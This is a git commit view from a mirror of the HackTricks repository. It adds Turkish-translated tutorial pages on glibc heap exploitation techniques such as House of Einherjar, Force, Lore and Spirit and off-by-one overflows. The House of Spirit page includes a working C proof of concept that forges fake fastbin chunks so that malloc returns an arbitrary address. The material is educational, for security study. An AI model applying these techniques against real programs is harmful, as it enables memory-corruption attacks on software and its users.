mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
73629432d5
commit
e77631deaf
12 changed files with 506 additions and 94 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,7 +24,7 @@ Bu fonksiyon, bir parçayı çift yönlü bağlı listeden kaldırır. Parçalar
|
|||
|
||||
## \_int\_malloc
|
||||
|
||||
Bu fonksiyon, heap'ten bellek tahsisinden sorumludur. Buradaki kontroller, belleğin tahsis sırasında bozulmadığından emin olur.
|
||||
Bu fonksiyon, heap'ten bellek ayırmaktan sorumludur. Buradaki kontroller, belleğin ayırma sırasında bozulmadığından emin olur.
|
||||
|
||||
* **Fastbin Boyut Kontrolü**:
|
||||
* Bir parçayı fastbin'den kaldırırken, parçanın boyutunun fastbin aralığında olduğundan emin olun.
|
||||
|
@ -34,23 +34,23 @@ Bu fonksiyon, heap'ten bellek tahsisinden sorumludur. Buradaki kontroller, belle
|
|||
* Hata mesajı: `malloc(): smallbin double linked list corrupted`
|
||||
* **Unsorted Bin Bellek Aralığı Kontrolü**:
|
||||
* Karışık kutulardaki parçaların boyutunun minimum ve maksimum sınırlar arasında olduğundan emin olun.
|
||||
* Hata mesajı: `malloc(): memory corruption`
|
||||
* Hata mesajı: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **Unsorted Bin Tutarlılık Kontrolü (İlk Senaryo)**:
|
||||
* Kalan bir parçayı karışık kutuya eklerken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` koşulunu kontrol edin.
|
||||
* Hata mesajı: `malloc(): corrupted unsorted chunks`
|
||||
* **Unsorted Bin Tutarlılık Kontrolü (İkinci Senaryo)**:
|
||||
* Önceki kontrolle aynıdır, ancak hızlı veya küçük bir parçayı böldükten sonra eklerken tetiklenir.
|
||||
* Önceki kontrolle aynıdır, ancak hızlı veya küçük bir parçayı böldükten sonra ekleme yapıldığında tetiklenir.
|
||||
* Hata mesajı: `malloc(): corrupted unsorted chunks 2`
|
||||
|
||||
## \_int\_free
|
||||
|
||||
Bu fonksiyon önceden tahsis edilmiş belleği serbest bırakır. Buradaki kontroller, uygun bellek serbest bırakma ve bellek bozulmasını önlemeye yardımcı olur.
|
||||
Bu fonksiyon önceden ayrılmış belleği serbest bırakır. Buradaki kontroller, uygun bellek serbest bırakma ve bellek bozulmasını önlemeye yardımcı olur.
|
||||
|
||||
* **İşaretçi Sınır Kontrolü**:
|
||||
* Serbest bırakılan işaretçinin belleği sarmadığından emin olun.
|
||||
* Hata mesajı: `free(): invalid pointer`
|
||||
* **Boyut Kontrolü**:
|
||||
* Serbest bırakılan parçanın boyutunun en az `MINSIZE` veya `MALLOC_ALIGNMENT`'ın katları olduğundan emin olun.
|
||||
* Serbest bırakılan parçanın boyutunun en az `MINSIZE` veya `MALLOC_ALIGNMENT`'ın katlarından biri olduğundan emin olun.
|
||||
* Hata mesajı: `free(): invalid size`
|
||||
* **Fastbin Boyut Kontrolü**:
|
||||
* Fastbin parçaları için, bir sonraki parçanın boyutunun minimum ve maksimum sınırlar arasında olduğundan emin olun.
|
||||
|
@ -59,7 +59,7 @@ Bu fonksiyon önceden tahsis edilmiş belleği serbest bırakır. Buradaki kontr
|
|||
* Bir parçayı fastbin'e eklerken, baştaki parçanın eklenen parça ile aynı olmadığından emin olun.
|
||||
* Hata mesajı: `double free or corruption (fasttop)`
|
||||
* **Fastbin Tutarlılık Kontrolü**:
|
||||
* Bir fastbin'e ekleme yaparken, baştaki parçanın boyutunun ve eklenen parçanın boyutunun aynı olduğundan emin olun.
|
||||
* Fastbin'e ekleme yaparken, baştaki parça ile eklenen parçanın boyutlarının aynı olduğundan emin olun.
|
||||
* Hata mesajı: `invalid fastbin entry (free)`
|
||||
* **Üst Parça Tutarlılık Kontrolü**:
|
||||
* Hızlı olmayan fastbin parçaları için, parçanın üst parça ile aynı olmadığından emin olun.
|
||||
|
@ -79,14 +79,14 @@ Bu fonksiyon önceden tahsis edilmiş belleği serbest bırakır. Buradaki kontr
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
|
||||
</details>
|
||||
|
|
47
binary-exploitation/heap/house-of-einherjar.md
Normal file
47
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Einherjar Evi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
### Kod
|
||||
|
||||
* Örneği [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) adresinden kontrol edin
|
||||
|
||||
### Amaç
|
||||
|
||||
* Hemen hemen her belirli adrese bellek tahsis etmek.
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Önceki kullanımdaki başlık üzerinde bir hata ile bir sonraki parçanın `prev`'ini değiştirmek
|
||||
* Mevcut parçanın bir parçası olan `prev_size` verilerini değiştirebilmek (sonunda)
|
||||
* Heap sızıntısı
|
||||
|
||||
### Saldırı
|
||||
|
||||
* Saldırgan tarafından kontrol edilen bir parçanın içinde `fd` ve `bk` ile orijinal parçaya işaret eden sahte bir parça (`A`) oluşturulur ve korumaları atlamak için
|
||||
* 2 diğer parça (`B` ve `C`) oluşturulur.
|
||||
* `B`'deki bir hata kullanılarak `prev in use` biti temizlenir ve `C` parçasının tahsis edildiği yer ile önceden oluşturulan sahte `A` parçası arasındaki farkla `prev_size` verileri üzerine yazılır.
|
||||
* Bu `prev_size` ve sahte parça `A`'nın boyutu, kontrolleri atlamak için aynı olmalıdır.
|
||||
* Ardından, Tcache doldurulur
|
||||
* Ardından, `C` serbest bırakılır, böylece sahte parça `A` ile birleşir
|
||||
* Ardından, sahte `A` parçasında başlayacak ve `B` parçasını kaplayacak yeni bir parça `D` oluşturulur
|
||||
* Ardından, `B` serbest bırakılır ve `fd`si hedef adres olarak üzerine yazılır, böylece içeren `D` parçasını kullanarak hedef adresi işaret eder.
|
||||
* Ardından, 2 malloc yapılır çünkü ikincisi hedef adresi içerecektir
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
40
binary-exploitation/heap/house-of-force.md
Normal file
40
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,40 @@
|
|||
# Force Evi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
### Kod
|
||||
|
||||
* Bu teknik düzeltildi ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve şu hatayı üretir: `malloc(): corrupted top size`
|
||||
|
||||
### Amaç
|
||||
|
||||
* Bu saldırının amacı belirli bir adreste bir parça tahsis edebilmektir.
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Başlık parçasının boyutunu üzerine yazmaya izin veren bir taşma (örneğin -1).
|
||||
* Yığın tahsisinin boyutunu kontrol edebilmek
|
||||
|
||||
### Saldırı
|
||||
|
||||
Bir saldırganın P adresinde bir parçaya sahip olmak istediğini varsayalım, başlık parçasının boyutunu -1 ile üzerine yazmış olsun. İlk olarak, (\&top\_chunk - P) boyutunda bir malloc'a ihtiyaç vardır. Bu işaretçinin top\_chunk'tan önce veya sonra olabileceğine dikkat edin, çünkü herhangi bir boyut -1'den küçük olacaktır (0xFFFFFFFFFFFFFFFF). Bu başlangıç parçasını tahsis ettikten sonra, üst parça istenen P adresine taşınacak ve bir sonraki parça o adresten olacaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# House of Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
### Kod
|
||||
|
||||
* Bu çalışmıyor
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) adresinden kontrol edin
|
||||
* Veya: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### Amaç
|
||||
|
||||
* Küçük bin içine sahte küçük parçalar ekleyerek onu tahsis etmek mümkün hale getirilir.
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Sahte parçalar oluşturmak
|
||||
* Kurban parça ve sahte parçaların adresini bilmek
|
||||
* `bk` ve `fd` işaretçilerini değiştirebilmek
|
||||
|
||||
### Saldırı
|
||||
|
||||
* Bir kurban küçük parça tahsis edilir
|
||||
* Bir saldırgan birkaç sahte küçük parça oluşturur ve ilk sahte parçayı bir gerçek parçaya işaret etmesi için `fd`'yi ve ikinci sahte parçaya işaret etmesi için `bk`'yi yapar. Ayrıca ikinci sahte parçanın `bk`'sini birinciye işaret edecek şekilde yapar.
|
||||
* Ardından, ilk parçanın serbest bırakıldığında üst parçaya birleştirilmesini önlemek için yeni bir büyük parça tahsis edilir
|
||||
* Daha sonra, başlangıç işaretçisi serbest bırakılır ve daha büyük bir boyutta ikinci bir işaretçi tahsis edilir, böylece serbest bırakılan başlangıç küçük parçası küçük bine yerleştirilir.
|
||||
* Gerçek küçük parça değiştirilir, böylece `bk` işaretçisi sahte olanı işaret eder ve.
|
||||
* Sonra, bu boyutta 2 parça tahsis edildiğinde, önce geçerli parça alınır ve ardından saldırgan tarafından kontrol edilen geçersiz parça alınır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Ruh Evi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
|
||||
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
|
||||
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@hacktricks\_live**] (https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**] ve [**HackTricks Cloud**] github depolarına katkıda bulunun (https://github.com/carlospolop/hacktricks).
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
### Kod
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ruh Evi</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Hedef
|
||||
|
||||
* Tcache / hızlı bin'e keyfi bir adres ekleyebilmek, böylece malloc çağrıldığında bu adres bir parçada kullanılır.
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Bu saldırı, bir saldırganın doğru şekil değerini gösteren birkaç sahte hızlı parça oluşturabilmesini ve serbest bırakılacak bir hızlı parçayı üzerine yazabilmesini gerektirir, böylece saldırganın parçası aslında hızlı bine giren parça olur.
|
||||
|
||||
### Saldırı
|
||||
|
||||
* Güvenlik kontrollerini atlayan sahte bir parça oluşturun (2 sahte parçaya ihtiyacınız olacak)
|
||||
* Bir işaretçi serbest bırakılmadan önce, onu sahte parça ile üzerine yazarak, sahte parçanın bine giren parça olmasını sağlayın
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
59
binary-exploitation/heap/off-by-one-overflow.md
Normal file
59
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,59 @@
|
|||
# Bir birim taşması
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Yalnızca 1B birim taşmasına erişim sağlamak, saldırganın önceki boyut meta veri bilgisini değiştirmesine olanak tanır, böylece hangi parçaların gerçekten serbest bırakıldığını değiştirerek sonunda başka bir meşru parça içeren bir parça oluşturur.
|
||||
|
||||
### Kod Örneği:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Bu saldırı artık Tcaches kullanımı nedeniyle çalışmıyor.
|
||||
* Ayrıca, daha büyük parçalar kullanarak (bu durumda tcaches devreye girmez), hata alırsınız: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Amaç
|
||||
|
||||
* Bir parçanın başka bir parçanın içinde bulunmasını sağlamak, böylece ikinci parçanın üzerinde yazma erişimi, içerilen parçayı üzerine yazmaya olanak tanır
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Önceki boyut meta veri bilgisini değiştirmek için bir birim taşması
|
||||
* 3 bellek parçası (a, b, c) ardışık olarak ayrılmıştır. Ardından ortadaki parça serbest bırakılır. İlk parça bir birim taşması güvenlik açığına sahiptir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekte olduğundan 0x10 daha küçük olduğunu gösterir).
|
||||
* Daha sonra, ortadaki serbest bırakılan parçada (b) 2 daha küçük parça ayrılır, ancak `b + b->boyut` c parçasını güncellemez çünkü işaret edilen adres olması gerektiğinden daha küçüktür.
|
||||
